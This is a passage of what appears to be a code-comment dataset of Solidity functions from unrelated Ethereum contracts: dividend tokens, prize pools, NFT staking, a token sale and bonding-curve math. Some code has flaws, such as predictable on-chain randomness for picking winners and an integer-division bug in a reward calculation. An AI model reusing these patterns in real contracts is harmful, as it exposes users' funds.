account\r\n tokens[0][_user] = safeAdd(tokens[0][_user], msg.value);\r\n }", "version": "0.4.24"} {"comment": "// Have that someone else spend your tokens", "function_code": "function transferFrom(address payable from, address payable to, uint value) public returns(bool success) {\r\n\t\tuint256 allowance = allowances[from][msg.sender];\r\n\t\trequire(allowance > 0, \"Not approved\");\r\n\t\trequire(allowance >= value, \"Over spending limit\");\r\n\t\tallowances[from][msg.sender] = allowance.sub(value);\r\n\t\tactualTransfer(from, to, value, \"\", \"\", false);\r\n\t\treturn true;\r\n\t}", "version": "0.5.1"} {"comment": "// The fallback function", "function_code": "function() payable external{\r\n\t\t// Only accept free ETH from the bitx and from our child slave.\r\n\t\tif (msg.sender != address(bitx) && msg.sender != address(refHandler)) {\r\n\t\t\t// Now, sending ETH increases the balance _before_ the transaction has been fully processed.\r\n\t\t\t// We don't want to distribute the entire purchase order as dividends.\r\n\t\t\tif (msg.value > 0) {\r\n\t\t\t\tlastTotalBalance += msg.value;\r\n\t\t\t\tdistributeDividends(0, NULL_ADDRESS);\r\n\t\t\t\tlastTotalBalance -= msg.value;\r\n\t\t\t}\r\n\t\t\tcreateTokens(msg.sender, msg.value, NULL_ADDRESS, false);\r\n\t\t}\r\n\t}", "version": "0.5.1"} {"comment": "// Throw your money at this thing with a referrer specified by their Ethereum address.\n// Returns the amount of tokens created.", "function_code": "function buy(address referrerAddress) payable public returns(uint256) {\r\n\t\t// Now, sending ETH increases the balance _before_ the transaction has been fully processed.\r\n\t\t// We don't want to distribute the entire purchase order as dividends.\r\n\t\tif (msg.value > 0) {\r\n\t\t\tlastTotalBalance += msg.value;\r\n\t\t\tdistributeDividends(0, NULL_ADDRESS);\r\n\t\t\tlastTotalBalance -= msg.value;\r\n\t\t}\r\n\t\treturn createTokens(msg.sender, msg.value, referrerAddress, false);\r\n\t}", "version": "0.5.1"} {"comment": "// Use all the ETH you earned hodling BXTG to buy more BXTG.\n// Returns the amount of tokens created.", "function_code": "function reinvest() public returns(uint256) {\r\n\t\taddress accountHolder = msg.sender;\r\n\t\tdistributeDividends(0, NULL_ADDRESS); // Just in case BITX-only transactions happened.\r\n\t\tuint256 payout;\r\n\t\tuint256 bonusPayout;\r\n\t\t(payout, bonusPayout) = clearDividends(accountHolder);\r\n\t\temit onWithdraw(accountHolder, payout, bonusPayout, true);\r\n\t\treturn createTokens(accountHolder, payout + bonusPayout, NULL_ADDRESS, true);\r\n\t}", "version": "0.5.1"} {"comment": "// Use some of the ETH you earned hodling BXTG to buy more BXTG.\n// You can withdraw the rest or keep it in here allocated for you.\n// Returns the amount of tokens created.", "function_code": "function reinvestPartial(uint256 ethToReinvest, bool withdrawAfter) public returns(uint256 tokensCreated) {\r\n\t\taddress payable accountHolder = msg.sender;\r\n\t\tdistributeDividends(0, NULL_ADDRESS); // Just in case BITX-only transactions happened.\r\n\r\n\t\tuint256 payout = dividendsOf(accountHolder, false);\r\n\t\tuint256 bonusPayout = bonuses[accountHolder];\r\n\r\n\t\tuint256 payoutReinvested = 0;\r\n\t\tuint256 bonusReinvested;\r\n\r\n\t\trequire((payout + bonusPayout) >= ethToReinvest, \"Insufficient balance for reinvestment\");\r\n\t\t// We're going to take ETH out of the masternode bonus first, then the outstanding divs.\r\n\t\tif (ethToReinvest > bonusPayout){\r\n\t\t\tpayoutReinvested = ethToReinvest - bonusPayout;\r\n\t\t\tbonusReinvested = bonusPayout;\r\n\t\t\t// Take ETH out from outstanding dividends.\r\n\t\t\tpayouts[accountHolder] += int256(payoutReinvested * ROUNDING_MAGNITUDE);\r\n\t\t}else{\r\n\t\t\tbonusReinvested = ethToReinvest;\r\n\t\t}\r\n\t\t// Take ETH from the masternode bonus.\r\n\t\tbonuses[accountHolder] -= bonusReinvested;\r\n\r\n\t\temit onWithdraw(accountHolder, payoutReinvested, bonusReinvested, true);\r\n\t\t// Do the buy thing!\r\n\t\ttokensCreated = createTokens(accountHolder, ethToReinvest, NULL_ADDRESS, true);\r\n\r\n\t\tif (withdrawAfter && dividendsOf(msg.sender, true) > 0) {\r\n\t\t\twithdrawDividends(msg.sender);\r\n\t\t}\r\n\t\treturn tokensCreated;\r\n\t}", "version": "0.5.1"} {"comment": "// There's literally no reason to call this function", "function_code": "function sell(uint256 amount, bool withdrawAfter) public returns(uint256) {\r\n\t\trequire(amount > 0, \"You have to sell something\");\r\n\t\tuint256 sellAmount = destroyTokens(msg.sender, amount);\r\n\t\tif (withdrawAfter && dividendsOf(msg.sender, true) > 0) {\r\n\t\t\twithdrawDividends(msg.sender);\r\n\t\t}\r\n\t\treturn sellAmount;\r\n\t}", "version": "0.5.1"} {"comment": "// --Public read-only functions--\n// Internal functions\n// Returns true if the gauntlet has expired. Otherwise, false.", "function_code": "function isGauntletExpired(address holder) internal view returns(bool) {\r\n\t\tif (gauntletType[holder] != 0) {\r\n\t\t\tif (gauntletType[holder] == 1) {\r\n\t\t\t\treturn (block.timestamp >= gauntletEnd[holder]);\r\n\t\t\t} else if (gauntletType[holder] == 2) {\r\n\t\t\t\treturn (bitx.totalSupply() >= gauntletEnd[holder]);\r\n\t\t\t} else if (gauntletType[holder] == 3) {\r\n\t\t\t\treturn ExternalGauntletInterface(gauntletEnd[holder]).gauntletRemovable(holder);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "version": "0.5.1"} {"comment": "// Same as usableBalanceOf, except the gauntlet is lifted when it's expired.", "function_code": "function updateUsableBalanceOf(address holder) internal returns(uint256) {\r\n\t\t// isGauntletExpired is a _view_ function, with uses STATICCALL in solidity 0.5.0 or later.\r\n\t\t// Since STATICCALLs can't modifiy the state, re-entry attacks aren't possible here.\r\n\t\tif (isGauntletExpired(holder)) {\r\n\t\t\tif (gauntletType[holder] == 3){\r\n\t\t\t\temit onExternalGauntletAcquired(holder, 0, NULL_ADDRESS);\r\n\t\t\t}else{\r\n\t\t\t\temit onGauntletAcquired(holder, 0, 0, 0);\r\n\t\t\t}\r\n\t\t\tgauntletType[holder] = 0;\r\n\t\t\tgauntletBalance[holder] = 0;\r\n\r\n\t\t\treturn balances[holder];\r\n\t\t}\r\n\t\treturn balances[holder] - gauntletBalance[holder];\r\n\t}", "version": "0.5.1"} {"comment": "// sends ETH to the specified account, using all the ETH BXTG has access to.", "function_code": "function sendETH(address payable to, uint256 amount) internal {\r\n\t\tuint256 childTotalBalance = refHandler.totalBalance();\r\n\t\tuint256 thisBalance = address(this).balance;\r\n\t\tuint256 thisTotalBalance = thisBalance + bitx.myDividends(true);\r\n\t\tif (childTotalBalance >= amount) {\r\n\t\t\t// the refHanlder has enough of its own ETH to send, so it should do that.\r\n\t\t\trefHandler.sendETH(to, amount);\r\n\t\t} else if (thisTotalBalance >= amount) {\r\n\t\t\t// We have enough ETH of our own to send.\r\n\t\t\tif (thisBalance < amount) {\r\n\t\t\t\tbitx.withdraw();\r\n\t\t\t}\r\n\t\t\tto.transfer(amount);\r\n\t\t} else {\r\n\t\t\t// Neither we nor the refHandler has enough ETH to send individually, so both contracts have to send ETH.\r\n\t\t\trefHandler.sendETH(to, childTotalBalance);\r\n\t\t\tif (bitx.myDividends(true) > 0) {\r\n\t\t\t\tbitx.withdraw();\r\n\t\t\t}\r\n\t\t\tto.transfer(amount - childTotalBalance);\r\n\t\t}\r\n\t\t// keep the dividend tracker in check.\r\n\t\tlastTotalBalance = lastTotalBalance.sub(amount);\r\n\t}", "version": "0.5.1"} {"comment": "// Take the ETH we've got and distribute it among our token holders.", "function_code": "function distributeDividends(uint256 bonus, address bonuser) internal{\r\n\t\t// Prevents \"HELP I WAS THE LAST PERSON WHO SOLD AND I CAN'T WITHDRAW MY ETH WHAT DO????\" (dividing by 0 results in a crash)\r\n\t\tif (totalSupply > 0) {\r\n\t\t\tuint256 tb = totalBalance();\r\n\t\t\tuint256 delta = tb - lastTotalBalance;\r\n\t\t\tif (delta > 0) {\r\n\t\t\t\t// We have more ETH than before, so we'll just distribute those dividends among our token holders.\r\n\t\t\t\tif (bonus != 0) {\r\n\t\t\t\t\tbonuses[bonuser] += bonus;\r\n\t\t\t\t}\r\n\t\t\t\tprofitPerShare = profitPerShare.add(((delta - bonus) * ROUNDING_MAGNITUDE) / totalSupply);\r\n\t\t\t\tlastTotalBalance += delta;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "version": "0.5.1"} {"comment": "// Clear out someone's dividends.", "function_code": "function clearDividends(address accountHolder) internal returns(uint256, uint256) {\r\n\t\tuint256 payout = dividendsOf(accountHolder, false);\r\n\t\tuint256 bonusPayout = bonuses[accountHolder];\r\n\r\n\t\tpayouts[accountHolder] += int256(payout * ROUNDING_MAGNITUDE);\r\n\t\tbonuses[accountHolder] = 0;\r\n\r\n\t\t// External apps can now get reliable masternode statistics\r\n\t\treturn (payout, bonusPayout);\r\n\t}", "version": "0.5.1"} {"comment": "// Withdraw 100% of someone's dividends", "function_code": "function withdrawDividends(address payable accountHolder) internal {\r\n\t\tdistributeDividends(0, NULL_ADDRESS); // Just in case BITX-only transactions happened.\r\n\t\tuint256 payout;\r\n\t\tuint256 bonusPayout;\r\n\t\t(payout, bonusPayout) = clearDividends(accountHolder);\r\n\t\temit onWithdraw(accountHolder, payout, bonusPayout, false);\r\n\t\tsendETH(accountHolder, payout + bonusPayout);\r\n\t}", "version": "0.5.1"} {"comment": "/**\r\n * Settle the pool, the winners are selected randomly and fee is transfer to the manager.\r\n */", "function_code": "function settlePool() external {\r\n require(isRNDGenerated, \"RND in progress\");\r\n require(poolStatus == PoolStatus.INPROGRESS, \"pool in progress\");\r\n\r\n // generate winnerIndexes until the numOfWinners reach\r\n uint256 newRandom = randomResult;\r\n uint256 offset = 0;\r\n while(winnerIndexes.length < poolConfig.numOfWinners) {\r\n uint256 winningIndex = newRandom.mod(poolConfig.participantLimit);\r\n if (!winnerIndexes.contains(winningIndex)) {\r\n winnerIndexes.push(winningIndex);\r\n }\r\n offset = offset.add(1);\r\n newRandom = _getRandomNumberBlockchain(offset, newRandom);\r\n }\r\n areWinnersGenerated = true;\r\n emit WinnersGenerated(winnerIndexes);\r\n\r\n // set pool CLOSED status\r\n poolStatus = PoolStatus.CLOSED;\r\n\r\n // transfer fees\r\n uint256 feeAmount = totalEnteredAmount.mul(poolConfig.feePercentage).div(100);\r\n rewardPerParticipant = (totalEnteredAmount.sub(feeAmount)).div(poolConfig.numOfWinners);\r\n _transferEnterToken(feeRecipient, feeAmount);\r\n\r\n // collectRewards();\r\n emit PoolSettled();\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * The winners of the pool can call this function to transfer their winnings\r\n * from the pool contract to their own address.\r\n */", "function_code": "function collectRewards() external {\r\n require(poolStatus == PoolStatus.CLOSED, \"not settled\");\r\n\r\n for (uint256 i = 0; i < poolConfig.participantLimit; i = i.add(1)) {\r\n address player = participants[i];\r\n if (winnerIndexes.contains(i)) {\r\n // if winner\r\n _transferEnterToken(player, rewardPerParticipant);\r\n } else {\r\n // if loser\r\n IChanceToken(controller.getChanceToken()).mint(player, chanceTokenId, 1);\r\n }\r\n }\r\n _resetPool();\r\n }", "version": "0.6.10"} {"comment": "/**\n * adds DeezNuts NFT to the CasinoEmployees (staking)\n * @param account the address of the staker\n * @param tokenIds the IDs of the Sheep and Wolves to stake\n */", "function_code": "function addManyToCasino(address account, uint16[] calldata tokenIds, bytes32[][] calldata employmentProof) external whenNotPaused nonReentrant {\n require(account == _msgSender(), \"Rechek sender of transaction\");\n require(tokenIds.length > 0, \"No tokens sent\"); \n\n for (uint i = 0; i < tokenIds.length; i++) {\n require(deezNutsNFT.ownerOf(tokenIds[i]) == _msgSender(), \"Token isn't yours!\");\n deezNutsNFT.transferFrom(_msgSender(), address(this), tokenIds[i]);\n _addTokenToCasino(account, tokenIds[i], employmentProof[i]);\n ownershipMapping[account].push(tokenIds[i]);\n }\n\n totalStaked += tokenIds.length;\n nuts.mint(msg.sender, tokenIds.length * 1000000000000000000);\n }", "version": "0.8.7"} {"comment": "/**\n * adds a single Sheep to the Barn\n * @param account the address of the staker\n * @param tokenId the ID of the Sheep to add to the Barn\n */", "function_code": "function _addTokenToCasino(address account, uint16 tokenId, bytes32[] calldata proofOfEmployment) internal whenNotPaused _updateEarnings {\n uint72 tokenDailyRate = getDailyRateForToken(tokenId, proofOfEmployment);\n casinoEmployees[tokenId] = Stake({\n owner: account,\n tokenId: uint16(tokenId),\n value: uint40(block.timestamp),\n dailyRate: tokenDailyRate\n });\n DAILY_NUTS_RATE += tokenDailyRate;\n }", "version": "0.8.7"} {"comment": "/**\n * realize $NUTS earnings for a single Nut\n * @param tokenId the ID of the Sheep to claim earnings from\n * @param unstake whether or not to unstake the Sheep\n * @return owed - the amount of $NUTS earned\n */", "function_code": "function _claimNutFromCasino(uint16 tokenId, bool unstake) internal returns (uint128 owed) {\n Stake memory stake = casinoEmployees[tokenId];\n require(stake.owner == _msgSender(), \"Not the stake owner\");\n\n if (totalNutsEarned < MAXIMUM_GLOBAL_NUTS) {\n owed = uint128(((block.timestamp.sub(stake.value)).mul(stake.dailyRate)).div(1 days));\n } else if (stake.value > lastClaimTimestamp) {\n owed = 0; // $NUTS production stopped already\n } else {\n owed = uint128((lastClaimTimestamp.sub(stake.value)).mul(stake.dailyRate / 1 days)); // stop earning additional $NUTS if it's all been earned\n }\n\n if (unstake) {\n deezNutsNFT.safeTransferFrom(address(this), _msgSender(), tokenId, \"\"); // send back Nut\n DAILY_NUTS_RATE -= stake.dailyRate;\n delete casinoEmployees[tokenId];\n } else {\n casinoEmployees[tokenId] = Stake({\n owner: stake.owner,\n tokenId: uint16(tokenId),\n value: uint40(block.timestamp),\n dailyRate: stake.dailyRate\n });\n }\n }", "version": "0.8.7"} {"comment": "/**\n * emergency unstake tokens\n * @param tokenIds the IDs of the tokens to claim earnings from\n */", "function_code": "function rescue(uint16[] calldata tokenIds) external nonReentrant {\n require(rescueEnabled, \"RESCUE DISABLED\");\n uint16 tokenId;\n Stake memory stake;\n for (uint i = 0; i < tokenIds.length; i++) {\n tokenId = tokenIds[i];\n stake = casinoEmployees[tokenId];\n require(stake.owner == _msgSender(), \"Only owner can withdraw\");\n deezNutsNFT.safeTransferFrom(address(this), _msgSender(), tokenId, \"\"); // send back Nut\n delete casinoEmployees[tokenId];\n DAILY_NUTS_RATE -= stake.dailyRate;\n } \n }", "version": "0.8.7"} {"comment": "/**\r\n * Creates a ProphetPool smart contract set the manager(owner) of the pool.\r\n *\r\n * @param _poolName Pool name\r\n * @param _buyToken ERC20 token to enter the pool\r\n * @param _manager Manager of the pool\r\n * @param _feeRecipient Where the fee of the prophet pool go\r\n * @param _chanceTokenId ERC1155 Token id for chance token\r\n */", "function_code": "function createProphetPool(\r\n string memory _poolName,\r\n address _buyToken,\r\n address _manager,\r\n address _feeRecipient,\r\n uint256 _chanceTokenId\r\n ) external onlyAllowedCreator(msg.sender) returns (address) {\r\n require(_buyToken != address(0), \"invalid buyToken\");\r\n require(_manager != address(0), \"invalid manager\");\r\n\r\n // Creates a new pool instance\r\n ProphetPool prophetPool =\r\n new ProphetPool(\r\n _poolName,\r\n _buyToken,\r\n address(this),\r\n _feeRecipient,\r\n _chanceTokenId\r\n );\r\n\r\n // Set the manager for the pool\r\n prophetPool.transferOwnership(_manager);\r\n prophetPools.push(address(prophetPool));\r\n\r\n emit ProphetPoolCreated(address(prophetPool), _poolName, _buyToken, _manager, _feeRecipient, _chanceTokenId);\r\n\r\n return address(prophetPool);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Creates a SecondChancePool smart contract set the manager(owner) of the pool.\r\n *\r\n * @param _poolName Pool name\r\n * @param _rewardToken Reward token of the pool\r\n * @param _manager Manager of the pool\r\n * @param _chanceTokenId ERC1155 Token id for chance token\r\n */", "function_code": "function createSecondChancePool(\r\n string memory _poolName,\r\n address _rewardToken,\r\n address _manager,\r\n uint256 _chanceTokenId\r\n ) external onlyAllowedCreator(msg.sender) returns (address) {\r\n require(_rewardToken != address(0), \"invalid rewardToken\");\r\n require(_manager != address(0), \"invalid manager\");\r\n\r\n // Creates a new pool instance\r\n SecondChancePool secondChancePool =\r\n new SecondChancePool(\r\n _poolName,\r\n _rewardToken,\r\n address(this),\r\n _chanceTokenId\r\n );\r\n\r\n // Set the manager for the pool\r\n secondChancePool.transferOwnership(_manager);\r\n secondChancePools.push(address(secondChancePool));\r\n\r\n emit SecondChancePoolCreated(\r\n address(secondChancePool),\r\n _poolName,\r\n _rewardToken,\r\n _manager,\r\n _chanceTokenId\r\n );\r\n\r\n return address(secondChancePool);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * OWNER ONLY: Toggle ability for passed addresses to create a prophet pool \r\n *\r\n * @param _creators Array creator addresses to toggle status\r\n * @param _statuses Booleans indicating if matching creator can create\r\n */", "function_code": "function updateCreatorStatus(address[] calldata _creators, bool[] calldata _statuses) external onlyOwner {\r\n require(_creators.length == _statuses.length, \"array mismatch\");\r\n require(_creators.length > 0, \"invalid length\");\r\n\r\n for (uint256 i = 0; i < _creators.length; i++) {\r\n address creator = _creators[i];\r\n bool status = _statuses[i];\r\n createAllowList[creator] = status;\r\n emit CreatorStatusUpdated(creator, status);\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n \t * @param _startIndex start index\r\n \t * @param _endIndex end index\r\n \t * @param _revert sort array asc or desc\r\n \t * @return the list of the beneficiary addresses\r\n \t */", "function_code": "function paginationBeneficiaries(uint256 _startIndex, uint256 _endIndex, bool _revert) public view returns (address[] memory) {\r\n\t\tuint256 startIndex = _startIndex;\r\n\t\tuint256 endIndex = _endIndex;\r\n\t\tif (startIndex >= _lockupBeneficiaries.length) {\r\n\t\t\treturn new address[](0);\r\n\t\t}\r\n\t\tif (endIndex > _lockupBeneficiaries.length) {\r\n\t\t\tendIndex = _lockupBeneficiaries.length;\r\n\t\t}\r\n\t\t// make memory array\r\n\t\taddress[] memory beneficiaries = new address[](endIndex.sub(startIndex));\r\n\t\tif (_revert) {\r\n\t\t\tfor (uint256 i = endIndex; i > startIndex; i--) {\r\n\t\t\t\tbeneficiaries[endIndex.sub(i)] = _lockupBeneficiaries[i.sub(1)];\r\n\t\t\t}\r\n\t\t\treturn beneficiaries;\r\n\t\t}\r\n\t\tfor (uint256 i = startIndex; i < endIndex; i++) {\r\n\t\t\tbeneficiaries[i.sub(startIndex)] = _lockupBeneficiaries[i];\r\n\t\t}\r\n\t\treturn beneficiaries;\r\n\t}", "version": "0.5.16"} {"comment": "/**\r\n \t * @param _beneficiary beneficiary address\r\n \t * @param _startIndex start index\r\n \t * @param _endIndex end index\r\n \t * @param _revert sort array asc or desc\r\n \t * @return the list of the bundle identifies of beneficiary address\r\n \t */", "function_code": "function paginationBundleIdentifiesOf(address _beneficiary, uint256 _startIndex, uint256 _endIndex, bool _revert) public view returns (uint256[] memory) {\r\n\t\tuint256 startIndex = _startIndex;\r\n\t\tuint256 endIndex = _endIndex;\r\n\t\tif (startIndex >= _lockupIdsOfBeneficiary[_beneficiary].length) {\r\n\t\t\treturn new uint256[](0);\r\n\t\t}\r\n\t\tif (endIndex >= _lockupIdsOfBeneficiary[_beneficiary].length) {\r\n\t\t\tendIndex = _lockupIdsOfBeneficiary[_beneficiary].length;\r\n\t\t}\r\n\t\t// make memory array\r\n\t\tuint256[] memory identifies = new uint256[](endIndex.sub(startIndex));\r\n\t\tif (_revert) {\r\n\t\t\tfor (uint256 i = endIndex; i > startIndex; i--) {\r\n\t\t\t\tidentifies[endIndex.sub(i)] = _lockupIdsOfBeneficiary[_beneficiary][i.sub(1)];\r\n\t\t\t}\r\n\t\t\treturn identifies;\r\n\t\t}\r\n\t\tfor (uint256 i = startIndex; i < endIndex; i++) {\r\n\t\t\tidentifies[i.sub(startIndex)] = _lockupIdsOfBeneficiary[_beneficiary][i];\r\n\t\t}\r\n\t\treturn identifies;\r\n\t}", "version": "0.5.16"} {"comment": "// @param _startBlock\n// @param _endBlock\n// @param _wolkWallet\n// @return success\n// @dev Wolk Genesis Event [only accessible by Contract Owner]", "function_code": "function wolkGenesis(uint256 _startBlock, uint256 _endBlock, address _wolkWallet) onlyOwner returns (bool success){\r\n require( (totalTokens < 1) && (!settlers[msg.sender]) && (_endBlock > _startBlock) );\r\n start_block = _startBlock;\r\n end_block = _endBlock;\r\n multisigWallet = _wolkWallet;\r\n settlers[msg.sender] = true;\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "// @dev Token Generation Event for Wolk Protocol Token. TGE Participant send Eth into this func in exchange of Wolk Protocol Token", "function_code": "function tokenGenerationEvent() payable external {\r\n require(!saleCompleted);\r\n require( (block.number >= start_block) && (block.number <= end_block) );\r\n uint256 tokens = safeMul(msg.value, 5*10**9); //exchange rate\r\n uint256 checkedSupply = safeAdd(totalTokens, tokens);\r\n require(checkedSupply <= tokenGenerationMax);\r\n totalTokens = checkedSupply;\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens); \r\n contribution[msg.sender] = safeAdd(contribution[msg.sender], msg.value); \r\n WolkCreated(msg.sender, tokens); // logs token creation\r\n }", "version": "0.4.13"} {"comment": "// @dev If Token Generation Minimum is Not Met, TGE Participants can call this func and request for refund", "function_code": "function refund() external {\r\n require( (contribution[msg.sender] > 0) && (!saleCompleted) && (totalTokens < tokenGenerationMin) && (block.number > end_block) );\r\n uint256 tokenBalance = balances[msg.sender];\r\n uint256 refundBalance = contribution[msg.sender];\r\n balances[msg.sender] = 0;\r\n contribution[msg.sender] = 0;\r\n totalTokens = safeSub(totalTokens, tokenBalance);\r\n WolkDestroyed(msg.sender, tokenBalance);\r\n LogRefund(msg.sender, refundBalance);\r\n msg.sender.transfer(refundBalance); \r\n }", "version": "0.4.13"} {"comment": "// @param _serviceProvider\n// @param _feeBasisPoints\n// @return success\n// @dev Set Service Provider fee -- only Contract Owner can do this, affects Service Provider settleSeller", "function_code": "function setServiceFee(address _serviceProvider, uint256 _feeBasisPoints) onlyOwner returns (bool success) {\r\n if ( _feeBasisPoints <= 0 || _feeBasisPoints > 4000){\r\n // revoke Settler privilege\r\n settlers[_serviceProvider] = false;\r\n feeBasisPoints[_serviceProvider] = 0;\r\n return false;\r\n }else{\r\n feeBasisPoints[_serviceProvider] = _feeBasisPoints;\r\n settlers[_serviceProvider] = true;\r\n SetServiceProviderFee(_serviceProvider, _feeBasisPoints);\r\n return true;\r\n }\r\n }", "version": "0.4.13"} {"comment": "// @param _buyer\n// @param _value\n// @return success\n// @dev Service Provider Settlement with Buyer: a small percent is burnt (set in setBurnRate, stored in burnBasisPoints) when funds are transferred from buyer to Service Provider [only accessible by settlers]", "function_code": "function settleBuyer(address _buyer, uint256 _value) onlySettler returns (bool success) {\r\n require( (burnBasisPoints > 0) && (burnBasisPoints <= 1000) && authorized[_buyer][msg.sender] ); // Buyer must authorize Service Provider \r\n if ( balances[_buyer] >= _value && _value > 0) {\r\n var burnCap = safeDiv(safeMul(_value, burnBasisPoints), 10000);\r\n var transferredToServiceProvider = safeSub(_value, burnCap);\r\n balances[_buyer] = safeSub(balances[_buyer], _value);\r\n balances[msg.sender] = safeAdd(balances[msg.sender], transferredToServiceProvider);\r\n totalTokens = safeSub(totalTokens, burnCap);\r\n Transfer(_buyer, msg.sender, transferredToServiceProvider);\r\n BurnTokens(_buyer, msg.sender, burnCap);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.13"} {"comment": "/**\r\n \t * @return the all phases detail\r\n \t */", "function_code": "function getLockupPhases() public view returns (uint256[] memory ids, uint256[] memory percentages, uint256[] memory extraTimes, bool[] memory hasWithdrawals, bool[] memory canWithdrawals) {\r\n\t\tids = new uint256[](_lockupPhases.length);\r\n\t\tpercentages = new uint256[](_lockupPhases.length);\r\n\t\textraTimes = new uint256[](_lockupPhases.length);\r\n\t\thasWithdrawals = new bool[](_lockupPhases.length);\r\n\t\tcanWithdrawals = new bool[](_lockupPhases.length);\r\n\r\n\t\tfor (uint256 i = 0; i < _lockupPhases.length; i++) {\r\n\t\t\tLockupPhase memory phase = _lockupPhases[i];\r\n\t\t\tids[i] = phase.id;\r\n\t\t\tpercentages[i] = phase.percentage;\r\n\t\t\textraTimes[i] = phase.extraTime;\r\n\t\t\thasWithdrawals[i] = phase.hasWithdrawal;\r\n\t\t\tcanWithdrawals[i] = checkPhaseCanWithdrawal(phase.id);\r\n\t\t}\r\n\t}", "version": "0.5.16"} {"comment": "// @param _owner\n// @param _providerToAdd\n// @return authorizationStatus\n// @dev Grant authorization between account and Service Provider on buyers' behalf [only accessible by Contract Owner]\n// @note Explicit permission from balance owner MUST be obtained beforehand", "function_code": "function grantService(address _owner, address _providerToAdd) onlyOwner returns (bool authorizationStatus) {\r\n var isPreauthorized = authorized[_owner][msg.sender];\r\n if (isPreauthorized && settlers[_providerToAdd] ) {\r\n authorized[_owner][_providerToAdd] = true;\r\n AuthorizeServiceProvider(msg.sender, _providerToAdd);\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "version": "0.4.13"} {"comment": "/**\r\n @dev given a token supply, reserve, CRR and a deposit amount (in the reserve token), calculates the return for a given change (in the main token)\r\n \r\n Formula:\r\n Return = _supply * ((1 + _depositAmount / _reserveBalance) ^ (_reserveRatio / 100) - 1)\r\n \r\n @param _supply token total supply\r\n @param _reserveBalance total reserve\r\n @param _reserveRatio constant reserve ratio, 1-100\r\n @param _depositAmount deposit amount, in reserve token\r\n \r\n @return purchase return amount\r\n */", "function_code": "function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint16 _reserveRatio, uint256 _depositAmount) public constant returns (uint256) {\r\n // validate input\r\n require(_supply != 0 && _reserveBalance != 0 && _reserveRatio > 0 && _reserveRatio <= 100);\r\n\r\n // special case for 0 deposit amount\r\n if (_depositAmount == 0)\r\n return 0;\r\n\r\n uint256 baseN = safeAdd(_depositAmount, _reserveBalance);\r\n uint256 temp;\r\n\r\n // special case if the CRR = 100\r\n if (_reserveRatio == 100) {\r\n temp = safeMul(_supply, baseN) / _reserveBalance;\r\n return safeSub(temp, _supply); \r\n }\r\n\r\n uint256 resN = power(baseN, _reserveBalance, _reserveRatio, 100);\r\n\r\n temp = safeMul(_supply, resN) / FIXED_ONE;\r\n\r\n uint256 result = safeSub(temp, _supply);\r\n // from the result, we deduct the minimal increment, which is a \r\n // function of S and precision. \r\n return safeSub(result, _supply / 0x100000000);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n @dev given a token supply, reserve, CRR and a sell amount (in the main token), calculates the return for a given change (in the reserve token)\r\n \r\n Formula:\r\n Return = _reserveBalance * (1 - (1 - _sellAmount / _supply) ^ (1 / (_reserveRatio / 100)))\r\n \r\n @param _supply token total supply\r\n @param _reserveBalance total reserve\r\n @param _reserveRatio constant reserve ratio, 1-100\r\n @param _sellAmount sell amount, in the token itself\r\n \r\n @return sale return amount\r\n */", "function_code": "function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint16 _reserveRatio, uint256 _sellAmount) public constant returns (uint256) {\r\n // validate input\r\n require(_supply != 0 && _reserveBalance != 0 && _reserveRatio > 0 && _reserveRatio <= 100 && _sellAmount <= _supply);\r\n\r\n // special case for 0 sell amount\r\n if (_sellAmount == 0)\r\n return 0;\r\n\r\n uint256 baseN = safeSub(_supply, _sellAmount);\r\n uint256 temp1;\r\n uint256 temp2;\r\n\r\n // special case if the CRR = 100\r\n if (_reserveRatio == 100) {\r\n temp1 = safeMul(_reserveBalance, _supply);\r\n temp2 = safeMul(_reserveBalance, baseN);\r\n return safeSub(temp1, temp2) / _supply;\r\n }\r\n\r\n // special case for selling the entire supply\r\n if (_sellAmount == _supply)\r\n return _reserveBalance;\r\n\r\n uint256 resN = power(_supply, baseN, 100, _reserveRatio);\r\n\r\n temp1 = safeMul(_reserveBalance, resN);\r\n temp2 = safeMul(_reserveBalance, FIXED_ONE);\r\n\r\n uint256 result = safeSub(temp1, temp2) / resN;\r\n\r\n // from the result, we deduct the minimal increment, which is a \r\n // function of R and precision. \r\n return safeSub(result, _reserveBalance / 0x100000000);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n @dev Calculate (_baseN / _baseD) ^ (_expN / _expD)\r\n Returns result upshifted by PRECISION\r\n \r\n This method is overflow-safe\r\n */", "function_code": "function power(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) internal returns (uint256 resN) {\r\n uint256 logbase = ln(_baseN, _baseD);\r\n // Not using safeDiv here, since safeDiv protects against\r\n // precision loss. It\u2019s unavoidable, however\r\n // Both `ln` and `fixedExp` are overflow-safe. \r\n resN = fixedExp(safeMul(logbase, _expN) / _expD);\r\n return resN;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n input range: \r\n - numerator: [1, uint256_max >> PRECISION] \r\n - denominator: [1, uint256_max >> PRECISION]\r\n output range:\r\n [0, 0x9b43d4f8d6]\r\n \r\n This method asserts outside of bounds\r\n \r\n */", "function_code": "function ln(uint256 _numerator, uint256 _denominator) internal returns (uint256) {\r\n // denominator > numerator: less than one yields negative values. Unsupported\r\n assert(_denominator <= _numerator);\r\n\r\n // log(1) is the lowest we can go\r\n assert(_denominator != 0 && _numerator != 0);\r\n\r\n // Upper 32 bits are scaled off by PRECISION\r\n assert(_numerator < MAX_VAL);\r\n assert(_denominator < MAX_VAL);\r\n\r\n return fixedLoge( (_numerator * FIXED_ONE) / _denominator);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n input range: \r\n [0x100000000,uint256_max]\r\n output range:\r\n [0, 0x9b43d4f8d6]\r\n \r\n This method asserts outside of bounds\r\n \r\n */", "function_code": "function fixedLoge(uint256 _x) internal returns (uint256 logE) {\r\n /*\r\n Since `fixedLog2_min` output range is max `0xdfffffffff` \r\n (40 bits, or 5 bytes), we can use a very large 